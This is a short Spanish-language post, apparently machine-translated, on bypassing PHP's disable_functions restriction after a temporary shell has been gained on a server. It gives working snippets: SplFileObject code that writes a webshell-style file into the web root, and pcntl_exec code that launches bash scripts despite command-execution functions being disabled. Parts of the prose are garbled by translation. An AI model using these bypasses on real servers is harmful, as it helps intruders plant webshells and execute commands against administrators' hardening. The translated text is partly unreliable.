A veces, después de obtener un shell temporal a través de vulnerabilidades de inclusión de archivos u otras vulnerabilidades, se descubre que el servidor ha realizado configuraciones más anormales para disable_functions. Nos hace imposible escribir shell o exp local en otros directorios.
#print_r(ini_get('disable_functions'));
putenv,chdir,dl,shell_exec,exec,system,passthru,popen,fopen,
fputs,mkdir,rmdir,rename,move_uploaded_file,unlink,copy,chgrp,
chown,lchgrp,lchown,chmod,touch,symlink,link,apache_request_headers,
highlight_file,show_source,highlight_string,parse_ini_file,mail,tempnam,
tmpfile,file_put_contents,error_log,proc_open,stream_socket_server,phpinfo,phpversion
Como se muestra arriba, el servidor prohíbe funciones tales como operaciones de escritura de archivos y ejecución de comandos, pero se pueden lograr funciones similares usando algunas características de php. En primer lugar, pensé en las funciones que se pueden usar son gzopen, imagejpeg, session_save_path, etc., que son básicamente suficientes para escribir webshell, pero si escribe una exp local, habrá algunos datos que no quiero Afortunadamente, PHP 5. Una clase de operación de archivo SplFileObject, debido a que SplFileObject es utilizado por menos personas, la configuración de seguridad del servidor generalmente se pasa por alto.
<?php
$file = new SplFileObject("/var/www/html/hispy/b4dboy.php", "w");
$written = $file->fwrite('shellcode');
echo "Wrote $written bytes to file";
#print_r(glob('/var/www/html/hispy/*'));
?>
Utilice pcntl_exec para romper la
descripción de disable_functions :
pcntl es una extensión bajo linux, que puede admitir el funcionamiento multiproceso de php.
La función de pcntl_exec es ejecutar el programa especificado en el espacio de proceso actual. Requisitos de la versión: PHP> 4.2.0. Es
común ser bloqueado por disable_functions cuando se infiltra y no se pueden ejecutar comandos. Cuando se ejecuta phpinfo (); , parpadea –activa- pcntl. En ese momento, me reí y no había nada que decir, siempre enfaticé que la infiltración debe hacerse con cuidado.
#exec.php
<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>
#/tmp/b4dboy.sh
#!/bin/bash
ls -l /